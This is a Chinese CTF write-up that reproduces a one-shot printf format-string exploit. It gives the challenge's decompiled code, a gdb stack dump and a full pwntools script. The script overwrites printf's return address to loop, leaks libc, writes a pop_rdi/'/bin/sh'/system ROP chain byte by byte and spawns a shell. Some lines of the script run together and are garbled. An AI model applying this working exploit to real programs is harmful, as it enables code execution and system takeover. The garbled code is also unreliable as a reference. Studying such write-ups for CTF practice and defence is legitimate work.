当前位置: 首页 > news >正文

printf 一次性写

PWN里printf漏洞感觉很小,可发现居然理解的不全。

一般情况下,当buf不在栈内时,就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针,第二次改数值。

DAS昨天这里只给了一次机会然后就exit了。今天ckyen给了个WP的链接 一次有趣的格式化字符串漏洞利用 | ZIKH26's Blog

照着这题把昨天那题复现一把。

一般printf的格式是: %88c%9$hhn

前边88c是输出88个字符,计数器会变成88,然后9$ 表示偏移,hhn表示写入的格式是1字节.

这里边9$会在printf前边处理完后再写入。如果想用一次输出既写指针又写值就办不到了。而文中的方法使可以直接写。

这个格式是这样的:%88c%hn

这里少了偏移,那么怎么指定偏移呢,就由前边的%个数来确定。比如%p%p%88c就是3,并不管这些%的是用来干啥。

先看下题目原码

  strcpy(s, "Easy Challange");puts(s);printf("Gift addr: %lx\n", s);memset(s, 0, 0x20uLL);strcpy(s, "Please leave your message: ");printf("%s", s);memset(s, 0, 0x20uLL);read(0, buf, 0x100uLL);printf(buf);            #修改返回地址,执行完printf后返回执行read_exit(0);

再看下栈的情况,这里在8,10再个位置恰好有两个指针。而rsp的偏移是6,那么可以直接利用偏移7处的指针写偏移49处的值,使它指向-8 也就是 printf函数的返回地址位置。将这个位置修改1字节,使其它返回地址 0x401366改为0x40133f重新回到read+printf。

0x00007fffffffddf0│+0x0000: 0x00000000000000c2   ← $rsp
0x00007fffffffddf8│+0x0008: 0x00007fffffffdf48  →  0x00007fffffffdde8  →  0x40133f
0x00007fffffffde00│+0x0010: 0x00007fffffffdf38  →  0x00007fffffffde10  →  pop_rdi,bin_sh,system
0x00007fffffffde08│+0x0018: 0x00000001004013bd
0x00007fffffffde10│+0x0020: 0x0000000000000000
0x00007fffffffde18│+0x0028: 0x0000000000000000
0x00007fffffffde20│+0x0030: 0x0000000000000000
0x00007fffffffde28│+0x0038: 0x0000000000000000
0x00007fffffffde30│+0x0040: 0x00007fffffffdf30  →  0x0000000000000001
0x00007fffffffde38│+0x0048: 0xac1d9c1a370f3f00
0x00007fffffffde40│+0x0050: 0x0000000000000000   ← $rbp
0x00007fffffffde48│+0x0058: 0x00007ffff7df9083  →  <__libc_start_main+243> mov edi, eax

所以这个第1个payload构造成这样

off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #利用偏移7的指针,需要前边使用6次%,前5次各输出1字节,也可用%p之类,只是%1c更容易计算输出的长度。
#利用栈里的两个指针(偏移7,8)一个指向printf_ret造循环,一个指向v1写ROP
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #7:ptr:df48 -> 49:printf_ret:dde8 -> 0x401366
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1  #同时改下偏移8指向ROP位置,后边写ROP用
#第1个指针利用无偏移的%hn修改,然后将printf_ret修改为0x3f重新循环,以后每次执行都利用这个指针修改
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #将printf_ret 0x66->0x3f 实现循环
pay += f"libc:%17$p,"  #最后泄露下libc地址 

后边都是常规操作,由于n$的偏移会最后写,所以每次修改的下次使用的指针

1,利用这个指针修改printf_ret实现维持循环,

2,利用另一个指针写ROP,

3,修改指向ROP的指针。

最后将 printf_ret改成ppp4跳到ROP执行

from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6') #libc-2.31-0ubuntu9.15p = process('./pwn2')gdb.attach(p, "b*0x40133f\nc")p.recvuntil(b"Gift addr: ")
stack = int(p.recvline(),16)off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #len=5 
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #6 rsp 7 ptr:df48 -> printf_ret:dde8
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #printf_ret 0x66->0x3f
pay += f"libc:%17$p,"  #泄露libc地址 
p.sendafter(b"Please leave your message: ", pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'libc:')
libc.address = int(p.recvuntil(b',')[:-1],16) - 243 - libc.sym['__libc_start_main']
p.recvuntil(b'END')print(f"{libc.address = :x}")pop_rdi = 0x4013d3
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']#off2->printf_ret
payload = flat(pop_rdi,bin_sh,system)
for i,v in enumerate(payload):pay = f"%{0x3f}c%{off2}$hhn"  #维持循环if v!=0x3f:pay += f"%{(v-0x3f)&0xff}c%{off1}$hhn" #pay[i]  #写1字节ROPelse:pay += f"%{off1}$hhn"pay += f"%{(stack+i+1-v)&0xff}c%8$hhn" #修改下次指针p.send(pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'END')#将printf_ret改为ppp4,跳过中间过程执行ROP:pop_rdi,bin_sh,system
ppp4 = 0x4013cc
pay = f"%{0xcc}c%{off2}$hhn" #printf_ret->ppp4
p.send(pay.ljust(0x100-3,'A').encode()+b'END')
p.interactive()

相关文章:

printf 一次性写

PWN里printf漏洞感觉很小&#xff0c;可发现居然理解的不全。 一般情况下&#xff0c;当buf不在栈内时&#xff0c;就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针&#xff0c;第二次改数值。 DAS昨天这里只给了一次机会然后就exit了。今天ckyen给…...

【Axure高保真原型】切换查看大图列表

今天和大家分享切换查看大图列表的原型模板&#xff0c;我们可以点击列表里的图片查看对应的大图&#xff0c;点击左右箭头可以切换切换上一页或下一页&#xff0c;如果是首页会自动禁用左箭头&#xff0c;末尾页会自动禁用右箭头。这个原型模板是用中继器制作的&#xff0c;所…...

Ant-Design-Vue动态表头并填充数据

Ant-Design-Vue动态表头并填充数据 Ant-Design-Vue 是一个基于 Vue.js 的前端UI框架&#xff0c;它继承了 Ant Design 的优秀设计理念&#xff0c;并针对 Vue.js 进行了深度优化。在实际开发过程中&#xff0c;我们经常需要处理各种复杂的表格数据&#xff0c;而 Ant-Design-V…...

Python-匿名函数

一、概念 匿名函数造出来的是一个内存地址&#xff0c;且内存地址没有绑定任何名字&#xff0c;很快被当做垃圾清理掉。所以匿名函数只需要临时调用一次&#xff0c;而有名函数永久使用&#xff1b; 匿名函数一般和其他函数配合使用&#xff1b; # 有名函数def func(x, y):…...

探索Web3工具:正确使用区块链平台工具的秘诀

在当今日新月异的数字时代&#xff0c;区块链技术正以惊人的速度改变着我们的生活和工作方式。尤其对于那些想要踏入区块链世界的人来说&#xff0c;正确使用区块链平台工具至关重要。本文将向您介绍一些关键的Web3工具&#xff0c;并以TestnetX.com为例&#xff0c;展示如何利…...

器利而事善——datagrip 的安装以及连接mysql

一&#xff0c;安装 下载&#xff1a;直接到官网下载即可&#xff0c; 破解&#xff1a;这是破解连接&#xff1a;https://pan.baidu.com/s/11BgOMp4Z9ddBrXwCVhwBng &#xff0c;提取码&#xff1a;abcd&#xff1b; 下载后&#xff0c;选择倒数第三个文件&#xff0c;打开da…...

C++标准模板(STL)- 迭代器库-迭代器原语-用于指示迭代器类别的空类类型

迭代器库-迭代器原语 迭代器库提供了五种迭代器的定义&#xff0c;同时还提供了迭代器特征、适配器及相关的工具函数。 迭代器分类 迭代器共有五 (C17 前)六 (C17 起)种&#xff1a;遗留输入迭代器 (LegacyInputIterator) 、遗留输出迭代器 (LegacyOutputIterator) 、遗留向前…...

ClickHouse 使用技巧总结

文章目录 数据导入、导出技巧外部文件导入导技巧使用集成表引擎导入、导出数据 建表技巧表引擎选择技巧分区键选择技巧数据结构选择技巧分区技巧 高级技巧物化视图投影位图变更数据捕获 常见报错及处理方法 数据导入、导出技巧 外部文件导入导技巧 ClickHouse作为OLAP即席分析…...

论文浅尝 | THINK-ON-GRAPH:基于知识图谱的深层次且可靠的大语言模型推理方法...

笔记整理&#xff1a;刘佳俊&#xff0c;东南大学硕士&#xff0c;研究方向为知识图谱 链接&#xff1a;https://arxiv.org/pdf/2307.07697.pdf 1. 动机 本文是IDEA研究院的工作&#xff0c;这篇工作将知识图谱的和大语言模型推理进行了结合&#xff0c;在每一步图推理中利用大…...

前端科举八股文-VUE篇

前端科举八股文-VUE篇 Vue响应式的基本原理?computed和watch的区别computed和methods的区别Slot是什么 ? 作用域插槽是什么?组件缓冲keep-alive是什么&#xff1f; 讲讲原理v-if&#xff0c;v-show的区别v-modal如何实现双向绑定组件中的data属性为什么是一个函数而不是对象…...

Websocket服务端结合内网穿透发布公网实现远程访问发送信息

文章目录 1. Java 服务端demo环境2. 在pom文件引入第三包封装的netty框架maven坐标3. 创建服务端,以接口模式调用,方便外部调用4. 启动服务,出现以下信息表示启动成功,暴露端口默认99995. 创建隧道映射内网端口6. 查看状态->在线隧道,复制所创建隧道的公网地址加端口号7. 以…...

GitHub 的底层数据库从 MySQL 5.7 无缝升级到 MySQL 8.0 的实践经验

提到 MySQL 这个数据库软件&#xff0c;相信大家再熟悉不过了&#xff0c;不论是市场流行度还是占有率一直一来都非常靠前。 那再提到 MySQL 5.7 这个具体的版本&#xff0c;大家是不是也同样感到非常熟悉&#xff1f; 相信不少个人或者团队的生产环境所用的 MySQL 数据库也曾…...

概率图模型在自然语言处理中的应用

概率图模型在自然语言处理(NLP)中的应用广泛且重要,它结合了概率论和图论,为处理复杂系统中变量之间的概率依赖关系提供了有效的建模方法。以下是概率图模型在NLP中的几个主要应用,结合参考文章中的相关信息进行详细说明: 核心概念与分类: 概率图模型的核心思想是利用图…...

AI网络爬虫:对网页指定区域批量截图

对网页指定区域批量截图&#xff0c;可以在deepseek的代码助手中输入提示词&#xff1a; 你是一个Python编程专家&#xff0c;一步一步的思考&#xff0c;完成一个对网页指定区域截图的python脚本的任务&#xff0c;具体步骤如下&#xff1a; 设置User-Agent: Mozilla/5.0 (…...

centos系统清理docker日志文件

centos系统清理docker日志文件 1.查看docker根目录位置2.清理日志 1.查看docker根目录位置 命令&#xff1a;docker info ,将Docker Root Dir 的值复制下来。如果目录中包含 等特殊符号的目录&#xff0c;需要转义 2.清理日志 创建文件&#xff1a;vim docker_logs_clean.…...

算法金 | Python 中有没有所谓的 main 函数?为什么?

​大侠幸会&#xff0c;在下全网同名[算法金] 0 基础转 AI 上岸&#xff0c;多个算法赛 Top [日更万日&#xff0c;让更多人享受智能乐趣] 定义和背景 在讨论Python为何没有像C或Java那样的明确的main函数之前&#xff0c;让我们先理解一下什么是main函数以及它在其他编程语言…...

RocketMQ相关知识知多少

一、RocketMQ的定义 官网网址&#xff1a;领域模型概述 | RocketMQ Apache RocketMQ 自诞生以来&#xff0c;因其架构简单、业务功能丰富、具备极强可扩展性等特点被众多企业开发者以及云厂商广泛采用。历经十余年的大规模场景打磨&#xff0c;RocketMQ 已经成为业内共识的金…...

C++vector部分实现及感悟

myvector.h #pragma once #include<assert.h> #include<iostream> #include<vector> using namespace std; namespace bit {template<class T>//必须使用typename场景\template<typename T>与template<class T>一般情况下这两个通用&#…...

MySql什么时候表锁or行锁?

文章目录 锁的基本概念共享锁&#xff08;读锁&#xff09;排他锁&#xff08;写锁&#xff09;锁的兼容性锁的升级和降级 全局锁、表锁、行锁全局锁表锁行锁 何时使用行锁何时使用表锁额外思考&#xff1a; 在数据库的世界里&#xff0c;性能优化是一个永恒的话题。MySQL作为广…...

Stable Diffusion WebUI详细使用指南

Stable Diffusion WebUI&#xff08;AUTOMATIC1111&#xff0c;简称A1111&#xff09;是一个为高级用户设计的图形用户界面&#xff08;GUI&#xff09;&#xff0c;它提供了丰富的功能和灵活性&#xff0c;以满足复杂和高级的图像生成需求。由于其强大的功能和社区的活跃参与&…...

java_网络服务相关_gateway_nacos_feign区别联系

1. spring-cloud-starter-gateway 作用&#xff1a;作为微服务架构的网关&#xff0c;统一入口&#xff0c;处理所有外部请求。 核心能力&#xff1a; 路由转发&#xff08;基于路径、服务名等&#xff09;过滤器&#xff08;鉴权、限流、日志、Header 处理&#xff09;支持负…...

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施&#xff0c;由雇主和个人按一定比例缴纳保险费&#xff0c;建立社会医疗保险基金&#xff0c;支付雇员医疗费用的一种医疗保险制度&#xff0c; 它是促进社会文明和进步的…...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

微信小程序云开发平台MySQL的连接方式

注&#xff1a;微信小程序云开发平台指的是腾讯云开发 先给结论&#xff1a;微信小程序云开发平台的MySQL&#xff0c;无法通过获取数据库连接信息的方式进行连接&#xff0c;连接只能通过云开发的SDK连接&#xff0c;具体要参考官方文档&#xff1a; 为什么&#xff1f; 因为…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...

Mysql8 忘记密码重置,以及问题解决

1.使用免密登录 找到配置MySQL文件&#xff0c;我的文件路径是/etc/mysql/my.cnf&#xff0c;有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...

Bean 作用域有哪些?如何答出技术深度?

导语&#xff1a; Spring 面试绕不开 Bean 的作用域问题&#xff0c;这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开&#xff0c;结合典型面试题及实战场景&#xff0c;帮你厘清重点&#xff0c;打破模板式回答&#xff0c…...

Web后端基础(基础知识)

BS架构&#xff1a;Browser/Server&#xff0c;浏览器/服务器架构模式。客户端只需要浏览器&#xff0c;应用程序的逻辑和数据都存储在服务端。 优点&#xff1a;维护方便缺点&#xff1a;体验一般 CS架构&#xff1a;Client/Server&#xff0c;客户端/服务器架构模式。需要单独…...

毫米波雷达基础理论(3D+4D)

3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文&#xff1a; 一文入门汽车毫米波雷达基本原理 &#xff1a;https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

协议转换利器,profinet转ethercat网关的两大派系,各有千秋

随着工业以太网的发展&#xff0c;其高效、便捷、协议开放、易于冗余等诸多优点&#xff0c;被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口&#xff0c;具有实时性、开放性&#xff0c;使用TCP/IP和IT标准&#xff0c;符合基于工业以太网的…...